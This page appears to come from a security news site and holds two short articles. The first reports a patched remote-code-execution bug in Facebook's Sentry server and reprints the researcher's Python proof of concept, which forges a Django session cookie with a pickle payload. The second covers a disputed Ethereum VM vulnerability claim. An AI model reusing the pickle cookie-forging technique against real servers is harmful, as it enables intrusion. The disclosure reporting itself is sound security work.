Another Facebook Vulnerability to be Found

Cybersecurity specialist from SCRT find a way to execute code on Facebook server remotely
27 August 2018   452

Daniel Le Gall from SCRT, reported about the vulnerability he found in one of the Facebook servers. The problem is in the Sentry web application for logs storage, written in Python using the Django framework. Facebook experts have already patched a security hole in the server.

Daniel found the problem during the scanning of IP addresses of to the social network. On one of them Sentry service was located with host name sentryagreements.thefacebook.com. When reviewing the application, the specialist noticed a stack trace that appears for an unexpected reason, and problems with the user password reset function. According to him, the Django debugging mode was not disabled, so the trace opened the entire environment of the program:

Facebook Vulnerability
Facebook Vulnerability

SCRT expert discovered among the keys of the environment SESSION_SERIALIZER, which was related to the method django.contrib.sessions.serializers.PickleSerializer. Daniel clarified that using a fake session containing arbitrary content of the binary Pickle protocol for serializing objects in Python, you can run any code in the system. To access the session, he needed a secret Django key, which appeared in the list of Sentry settings in plaintext called system.secret-key:

Facebook Vulnerability
Facebook Vulnerability

The researcher wrote a proof-of-concept script that changed the existing contents of sentrysid cookies to an arbitrary object and made the page load for 30 seconds longer:

#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os

SECRET_KEY='[RETRIEVEDKEY]'
#Initial cookie I had on sentry when trying to reset a password
cookie='gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw'
newContent =  django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
    def __reduce__(self):
        return (os.system,("sleep 30",))
newContent['testcookie'] = PickleRce()

print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)

He sent information about the vulnerability to Facebook team and received $ 5000 under the Bug Bounty program. The company specialists cleared the issue in 10 days after receiving the notification.

Ethereum VM May Have Vulnerability

The vulnerability is reported by NettaLab Twitter account
12 November 2018   128

On November 9, a statement appeared in Netta Lab’s Twitter account that the organization discovered a vulnerability in the Ethereum virtual machine that allows to execute smart contracts endlessly without paying for gas online. The researchers also allegedly turned to the operator of the American database of vulnerabilities, where they registered the corresponding discovery.

Netta Labs discovered an Ethereum EVM vulnerability, which could be exploited by hackers. The vulnerability can cause smart contracts can be executed indefinitely without gas being paied.
 

Netta Lab's Twitter

At Netta Lab's request, Google demonstrates the site of the netto.io project, which specializes in auditing smart contracts under the Netta Lab brand, but the Twitter accounts of the projects do not match. Note that the profile that reported the vulnerability was registered in November.

Many users expressed doubts about the authenticity of the information that appeared, but then the creator of the NEO project Da Hongwei said that he spoke with the CEO of Netta Labs and asked the researchers to audit the NEO virtual machine.

Nevertheless, Vitalik Buterin wrote on Reddit that this is a vulnerability in the Python-implementation of the virtual machine, which was first reported on GitHub 9 days ago. This means that the main clients (go-ethereum; parity and cpp-ethereum) are not affected.